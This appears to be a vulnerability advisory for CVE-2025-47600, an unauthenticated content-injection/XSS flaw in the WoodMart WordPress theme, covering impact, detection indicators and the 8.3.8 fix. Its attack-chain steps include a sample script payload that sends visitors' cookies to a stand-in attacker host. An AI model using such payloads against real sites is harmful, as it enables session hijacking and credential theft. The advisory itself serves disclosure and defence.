CVE-2025-47600: 
WordPress vulnerability analysis and mitigation

CVE-2025-47600 is a Content Injection (Basic XSS) vulnerability in the WoodMart WordPress theme by xtemos, classified under CWE-80 (Improper Neutralization of Script-Related HTML Tags in a Web Page). It allows unauthenticated attackers to inject malicious content into pages and posts, potentially enabling phishing or script injection attacks. The vulnerability affects WoodMart versions up to and including 8.3.7, with version 8.3.8 containing the fix. It was reported on December 10, 2025, and published by Patchstack on January 9–22, 2026. The CVSS v3.1 base score is 5.3 (Medium), as assessed by Patchstack (Patchstack).

The root cause is improper neutralization of script-related HTML tags in web page output (CWE-80), which enables a basic cross-site scripting (XSS) / content injection attack. The vulnerability is exploitable over the network without authentication and without user interaction (per Patchstack's CVSS assessment), allowing attackers to inject arbitrary content — including HTML, scripts, or phishing material — into WordPress pages and posts rendered by the WoodMart theme. The vulnerability is also described as enabling "arbitrary shortcode execution," suggesting that unsanitized input may be passed to WordPress's shortcode processor, broadening the potential attack surface beyond simple HTML injection (Patchstack).

Successful exploitation allows an unauthenticated attacker to inject malicious content into the pages and posts of affected WordPress sites running the WoodMart theme. This can be abused to embed phishing pages, redirect visitors to malicious sites, or execute client-side scripts in the context of site visitors' browsers. The confidentiality impact is limited (low), with no direct availability impact, but the integrity of site content is at risk. Sites using WoodMart for e-commerce (WooCommerce) may face heightened risk due to the potential for credential harvesting or payment-related phishing (Patchstack).

No public proof-of-concept exploit code or evidence of active in-the-wild exploitation has been reported for CVE-2025-47600. The EPSS score is approximately 0.029% (0.000290), indicating a very low probability of exploitation in the near term. Patchstack notes that vulnerabilities of this class are sometimes used in mass-exploit campaigns targeting WordPress sites at scale, regardless of site popularity. The vulnerability requires no authentication or special privileges, lowering the barrier for opportunistic attackers. It is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Patchstack).

1. Reconnaissance: Identify WordPress sites using the WoodMart theme version 8.3.7 or earlier using tools like WPScan, Shodan, or by inspecting page source for theme indicators (e.g., wp-content/themes/woodmart/).
2. Identify injectable parameter: Locate the vulnerable input field or endpoint within the WoodMart theme that fails to sanitize user-supplied content before rendering it in a page or post.
3. Craft malicious payload: Prepare a content injection payload, such as an HTML tag containing a script or a WordPress shortcode, designed to execute in the context of the page (e.g., <script>document.location='https://attacker.com/?c='+document.cookie</script> or a malicious shortcode string).
4. Submit payload: Send the crafted input to the vulnerable endpoint without authentication, causing the injected content to be stored or reflected in the site's output.
5. Achieve objective: When a site visitor or administrator loads the affected page, the injected content executes in their browser, enabling session hijacking, credential theft, or phishing page delivery (Patchstack).

• Logs: WordPress access logs showing unusual POST or GET requests to WoodMart theme endpoints with HTML tags, script fragments, or shortcode syntax in parameter values; repeated unauthenticated requests to theme-specific URLs.
• File System: Unexpected modifications to WordPress page or post content in the database containing <script>, <iframe>, or encoded HTML entities injected by an external actor.
• Network: Outbound connections from site visitors' browsers to unknown or suspicious external domains following page load; traffic to known phishing or malware-hosting infrastructure originating from the site.
• Application: Presence of injected shortcodes or HTML in WordPress post/page content that were not authored by legitimate site editors, visible in the WordPress admin dashboard under Pages or Posts.

The vendor (xtemos) has released WoodMart version 8.3.8, which patches this vulnerability. All users running WoodMart 8.3.7 or earlier should update to version 8.3.8 or later immediately via the WordPress admin dashboard or the ThemeForest marketplace. No specific configuration-based workaround has been published; updating to the patched version is the only recommended remediation. Web application firewall (WAF) rules, such as those provided by Patchstack or Wordfence, may offer interim virtual patching protection for sites unable to update immediately (Patchstack).

The vulnerability was discovered by security researcher João Pedro S Alcântara (Kinorth) and reported through Patchstack's Active Vulnerability Disclosure Program (VDP) on December 10, 2025. Patchstack classified it as low priority with limited exploitability impact. Wordfence referenced the vulnerability in its weekly WordPress vulnerability report for January 5–11, 2026. No significant broader media coverage or notable social media discussion has been identified beyond standard vulnerability database listings (Patchstack).